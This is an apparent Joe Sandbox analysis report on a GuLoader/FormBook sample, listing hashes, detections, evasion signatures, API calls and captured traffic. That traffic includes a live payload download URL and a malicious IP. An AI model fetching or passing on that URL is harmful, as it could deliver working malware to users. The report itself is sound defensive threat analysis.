Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
Anfrage244384.exe

Overview

General Information

Sample name:Anfrage244384.exe
Analysis ID:1550563
MD5:7a9799db14a1d4af0b38f4b69879a78f
SHA1:89c2af745f36e1853ef82b4b21c6d461c8414ca5
SHA256:45ca0116808ce0b13a4e212c742ab2cd2b169a5cbfa841c8826636a6f5a76009
Tags:exeGuLoaderuser-threatcat_ch
Infos:

Detection

FormBook, GuLoader
Score:84
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected FormBook
Yara detected GuLoader
AI detected suspicious sample
Switches to a custom stack to bypass stack traces
Tries to detect virtualization through RDTSC time measurements
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to dynamically determine API calls
Contains functionality to read the PEB
Contains functionality to shutdown / reboot the system
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Drops PE files
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE / OLE file has an invalid certificate
Sample file is different than original file name gathered from version info
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

  • System is w10x64
  • Anfrage244384.exe (PID: 4180 cmdline: "C:\Users\user\Desktop\Anfrage244384.exe" MD5: 7A9799DB14A1D4AF0B38F4B69879A78F)
    • Anfrage244384.exe (PID: 1892 cmdline: "C:\Users\user\Desktop\Anfrage244384.exe" MD5: 7A9799DB14A1D4AF0B38F4B69879A78F)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Formbook, FormboFormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.
  • SWEED
  • Cobalt
https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook
NameDescriptionAttributionBlogpost URLsLink
CloudEyE, GuLoaderCloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000003.00000002.3110222192.00000000349F0000.00000004.00001000.00020000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
    00000000.00000002.2333673755.0000000003E32000.00000040.00001000.00020000.00000000.sdmpJoeSecurity_GuLoader_2Yara detected GuLoaderJoe Security

      Sigma Signatures

      ⊘No Sigma rule has matched

      Suricata Signatures

      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
      2024-11-06T20:47:44.144304+010020229301A Network Trojan was detected20.12.23.50443192.168.2.549704TCP
      2024-11-06T20:48:24.573194+010020229301A Network Trojan was detected20.12.23.50443192.168.2.549855TCP
      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
      2024-11-06T20:48:06.783619+010028032702Potentially Bad Traffic192.168.2.549792188.40.95.144443TCP

      Joe Sandbox Signatures

      Click to jump to signature section

      Show All Signature Results

      AV Detection

      barindex
      Antivirus / Scanner detection for submitted sample
      Source: Anfrage244384.exeAvira: detected
      Multi AV Scanner detection for submitted file
      Source: Anfrage244384.exeReversingLabs: Detection: 31%
      Yara detected FormBook
      Source: Yara matchFile source: 00000003.00000002.3110222192.00000000349F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
      AI detected suspicious sample
      Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
      Source: Anfrage244384.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
      Source: unknownHTTPS traffic detected: 188.40.95.144:443 -> 192.168.2.5:49792 version: TLS 1.2
      Source: Anfrage244384.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
      Source: Binary string: mshtml.pdb source: Anfrage244384.exe, 00000003.00000001.2332876628.0000000000649000.00000020.00000001.01000000.00000007.sdmp
      Source: Binary string: wntdll.pdbUGP source: Anfrage244384.exe, 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmp, Anfrage244384.exe, 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Anfrage244384.exe, 00000003.00000003.2748365519.00000000349F3000.00000004.00000020.00020000.00000000.sdmp, Anfrage244384.exe, 00000003.00000003.2750495664.0000000034BA7000.00000004.00000020.00020000.00000000.sdmp
      Source: Binary string: wntdll.pdb source: Anfrage244384.exe, Anfrage244384.exe, 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmp, Anfrage244384.exe, 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Anfrage244384.exe, 00000003.00000003.2748365519.00000000349F3000.00000004.00000020.00020000.00000000.sdmp, Anfrage244384.exe, 00000003.00000003.2750495664.0000000034BA7000.00000004.00000020.00020000.00000000.sdmp
      Source: Binary string: mshtml.pdbUGP source: Anfrage244384.exe, 00000003.00000001.2332876628.0000000000649000.00000020.00000001.01000000.00000007.sdmp
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 0_2_00405665 GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,0_2_00405665
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 0_2_0040270B FindFirstFileA,0_2_0040270B
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 0_2_004060C7 FindFirstFileA,FindClose,0_2_004060C7
      Source: Joe Sandbox ViewIP Address: 188.40.95.144 188.40.95.144
      Source: Joe Sandbox ViewJA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
      Source: Network trafficSuricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.12.23.50:443 -> 192.168.2.5:49704
      Source: Network trafficSuricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49792 -> 188.40.95.144:443
      Source: Network trafficSuricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.12.23.50:443 -> 192.168.2.5:49855
      Source: global trafficHTTP traffic detected: GET /rmANWge110.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: familytherapycenter.rsCache-Control: no-cache
      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
      Source: global trafficHTTP traffic detected: GET /rmANWge110.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: familytherapycenter.rsCache-Control: no-cache
      Source: global trafficDNS traffic detected: DNS query: familytherapycenter.rs
      Source: Anfrage244384.exeString found in binary or memory: http://crl.apple.com/root.crl0
      Source: Anfrage244384.exeString found in binary or memory: http://crl.apple.com/timestamp.crl0
      Source: Anfrage244384.exeString found in binary or memory: http://nsis.sf.net/NSIS_Error
      Source: Anfrage244384.exeString found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
      Source: Anfrage244384.exeString found in binary or memory: http://www.apple.com/appleca0
      Source: Anfrage244384.exe, 00000003.00000001.2332876628.0000000000649000.00000020.00000001.01000000.00000007.sdmpString found in binary or memory: http://www.ftp.ftp://ftp.gopher.
      Source: Anfrage244384.exe, 00000003.00000001.2332876628.00000000005F2000.00000020.00000001.01000000.00000007.sdmpString found in binary or memory: http://www.w3c.org/TR/1999/REC-html401-19991224/frameset.dtd
      Source: Anfrage244384.exe, 00000003.00000001.2332876628.00000000005F2000.00000020.00000001.01000000.00000007.sdmpString found in binary or memory: http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd
      Source: Anfrage244384.exe, 00000003.00000003.2748759588.0000000004C9B000.00000004.00000020.00020000.00000000.sdmp, Anfrage244384.exe, 00000003.00000002.3081198942.0000000004C9C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://familytherapycenter.rs/
      Source: Anfrage244384.exe, 00000003.00000003.2748759588.0000000004C9B000.00000004.00000020.00020000.00000000.sdmp, Anfrage244384.exe, 00000003.00000002.3081198942.0000000004C9C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://familytherapycenter.rs/B5
      Source: Anfrage244384.exe, 00000003.00000002.3081198942.0000000004C9C000.00000004.00000020.00020000.00000000.sdmp, Anfrage244384.exe, 00000003.00000002.3109787992.0000000034170000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://familytherapycenter.rs/rmANWge110.bin
      Source: Anfrage244384.exe, 00000003.00000003.2748759588.0000000004C9B000.00000004.00000020.00020000.00000000.sdmp, Anfrage244384.exe, 00000003.00000002.3081198942.0000000004C9C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://familytherapycenter.rs/rmANWge110.binD1
      Source: Anfrage244384.exe, 00000003.00000002.3081198942.0000000004C58000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://familytherapycenter.rs/rmANWge110.bin~
      Source: Anfrage244384.exe, 00000003.00000001.2332876628.0000000000649000.00000020.00000001.01000000.00000007.sdmpString found in binary or memory: https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214
      Source: Anfrage244384.exeString found in binary or memory: https://www.apple.com/appleca/0
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49792
      Source: unknownNetwork traffic detected: HTTP traffic on port 49792 -> 443
      Source: unknownHTTPS traffic detected: 188.40.95.144:443 -> 192.168.2.5:49792 version: TLS 1.2
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 0_2_0040511A GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,0_2_0040511A

      E-Banking Fraud

      barindex
      Yara detected FormBook
      Source: Yara matchFile source: 00000003.00000002.3110222192.00000000349F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DC35C0 NtCreateMutant,LdrInitializeThunk,3_2_34DC35C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DC2DF0 NtQuerySystemInformation,LdrInitializeThunk,3_2_34DC2DF0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DC3090 NtSetValueKey,3_2_34DC3090
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DC3010 NtOpenDirectoryObject,3_2_34DC3010
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DC3D70 NtOpenThread,3_2_34DC3D70
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DC3D10 NtOpenProcessToken,3_2_34DC3D10
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DC39B0 NtGetContextThread,3_2_34DC39B0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DC4650 NtSuspendThread,3_2_34DC4650
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DC4340 NtSetContextThread,3_2_34DC4340
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DC2CC0 NtQueryVirtualMemory,3_2_34DC2CC0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DC2CF0 NtOpenProcess,3_2_34DC2CF0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DC2CA0 NtQueryInformationToken,3_2_34DC2CA0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DC2C70 NtFreeVirtualMemory,3_2_34DC2C70
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DC2C60 NtCreateKey,3_2_34DC2C60
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DC2C00 NtQueryInformationProcess,3_2_34DC2C00
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DC2DD0 NtDelayExecution,3_2_34DC2DD0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DC2DB0 NtEnumerateKey,3_2_34DC2DB0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DC2D10 NtMapViewOfSection,3_2_34DC2D10
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DC2D00 NtSetInformationFile,3_2_34DC2D00
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DC2D30 NtUnmapViewOfSection,3_2_34DC2D30
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DC2EE0 NtQueueApcThread,3_2_34DC2EE0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DC2E80 NtReadVirtualMemory,3_2_34DC2E80
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DC2EA0 NtAdjustPrivilegesToken,3_2_34DC2EA0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DC2E30 NtWriteVirtualMemory,3_2_34DC2E30
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DC2FE0 NtCreateFile,3_2_34DC2FE0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DC2F90 NtProtectVirtualMemory,3_2_34DC2F90
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DC2FB0 NtResumeThread,3_2_34DC2FB0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DC2FA0 NtQuerySection,3_2_34DC2FA0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DC2F60 NtCreateProcessEx,3_2_34DC2F60
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DC2F30 NtCreateSection,3_2_34DC2F30
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DC2AD0 NtReadFile,3_2_34DC2AD0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DC2AF0 NtWriteFile,3_2_34DC2AF0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DC2AB0 NtWaitForSingleObject,3_2_34DC2AB0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DC2BF0 NtAllocateVirtualMemory,3_2_34DC2BF0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DC2BE0 NtQueryValueKey,3_2_34DC2BE0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DC2B80 NtQueryInformationFile,3_2_34DC2B80
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DC2BA0 NtEnumerateValueKey,3_2_34DC2BA0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DC2B60 NtClose,3_2_34DC2B60
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 0_2_004031A3 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,0_2_004031A3
      Source: C:\Users\user\Desktop\Anfrage244384.exeFile created: C:\Windows\resources\soenderbro.iniJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 0_2_004049590_2_00404959
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 0_2_0040655F0_2_0040655F
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 0_2_00406D360_2_00406D36
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D814603_2_34D81460
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E4F43F3_2_34E4F43F
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E2D5B03_2_34E2D5B0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E475713_2_34E47571
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E416CC3_2_34E416CC
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E4F7B03_2_34E4F7B0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E4F0E03_2_34E4F0E0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E470E93_2_34E470E9
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D970C03_2_34D970C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E3F0CC3_2_34E3F0CC
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D9B1B03_2_34D9B1B0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E5B16B3_2_34E5B16B
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7F1723_2_34D7F172
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DC516C3_2_34DC516C
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E312ED3_2_34E312ED
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DAB2C03_2_34DAB2C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D952A03_2_34D952A0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DD739A3_2_34DD739A
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7D34C3_2_34D7D34C
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E4132D3_2_34E4132D
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E4FCF23_2_34E4FCF2
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D51CAF3_2_34D51CAF
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E09C323_2_34E09C32
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DAFDC03_2_34DAFDC0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E47D733_2_34E47D73
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D93D403_2_34D93D40
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E41D5A3_2_34E41D5A
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D99EB03_2_34D99EB0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D53FD53_2_34D53FD5
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D53FD23_2_34D53FD2
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D91F923_2_34D91F92
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E4FFB13_2_34E4FFB1
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E4FF093_2_34E4FF09
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D938E03_2_34D938E0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DFD8003_2_34DFD800
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D999503_2_34D99950
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DAB9503_2_34DAB950
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E259103_2_34E25910
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E3DAC63_2_34E3DAC6
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E2DAAC3_2_34E2DAAC
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DD5AA03_2_34DD5AA0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E03A6C3_2_34E03A6C
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E47A463_2_34E47A46
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E4FA493_2_34E4FA49
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E05BF03_2_34E05BF0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DCDBF93_2_34DCDBF9
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DAFB803_2_34DAFB80
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E4FB763_2_34E4FB76
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E3E4F63_2_34E3E4F6
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E424463_2_34E42446
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E505913_2_34E50591
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D905353_2_34D90535
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DAC6E03_2_34DAC6E0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D8C7C03_2_34D8C7C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DB47503_2_34DB4750
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D907703_2_34D90770
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E220003_2_34E22000
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E481CC3_2_34E481CC
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E501AA3_2_34E501AA
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E181583_2_34E18158
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D801003_2_34D80100
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E2A1183_2_34E2A118
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E102C03_2_34E102C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E302743_2_34E30274
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E503E63_2_34E503E6
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D9E3F03_2_34D9E3F0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E4A3523_2_34E4A352
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D80CF23_2_34D80CF2
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E30CB53_2_34E30CB5
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D90C003_2_34D90C00
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D8ADE03_2_34D8ADE0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DA8DBF3_2_34DA8DBF
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D9AD003_2_34D9AD00
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E2CD1F3_2_34E2CD1F
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E4EEDB3_2_34E4EEDB
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DA2E903_2_34DA2E90
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E4CE933_2_34E4CE93
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D90E593_2_34D90E59
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E4EE263_2_34E4EE26
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D82FC83_2_34D82FC8
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D9CFE03_2_34D9CFE0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E0EFA03_2_34E0EFA0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E04F403_2_34E04F40
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DB0F303_2_34DB0F30
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DD2F283_2_34DD2F28
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DBE8F03_2_34DBE8F0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D768B83_2_34D768B8
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D9A8403_2_34D9A840
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D928403_2_34D92840
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E5A9A63_2_34E5A9A6
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D929A03_2_34D929A0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DA69623_2_34DA6962
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D8EA803_2_34D8EA80
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E46BD73_2_34E46BD7
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E4AB403_2_34E4AB40
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: String function: 34D7B970 appears 275 times
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: String function: 34DFEA12 appears 86 times
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: String function: 34E0F290 appears 105 times
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: String function: 34DD7E54 appears 101 times
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: String function: 34DC5130 appears 58 times
      Source: Anfrage244384.exeStatic PE information: invalid certificate
      Source: Anfrage244384.exe, 00000003.00000003.2748365519.0000000034B16000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs Anfrage244384.exe
      Source: Anfrage244384.exe, 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs Anfrage244384.exe
      Source: Anfrage244384.exe, 00000003.00000003.2750495664.0000000034CD4000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs Anfrage244384.exe
      Source: Anfrage244384.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
      Source: classification engineClassification label: mal84.troj.evad.winEXE@3/10@1/1
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 0_2_004031A3 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,0_2_004031A3
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 0_2_004043E6 GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,0_2_004043E6
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 0_2_004020CD CoCreateInstance,MultiByteToWideChar,0_2_004020CD
      Source: C:\Users\user\Desktop\Anfrage244384.exeFile created: C:\Users\user\AppData\Roaming\secretaryshipsJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeFile created: C:\Users\user\AppData\Local\Temp\nsv8D55.tmpJump to behavior
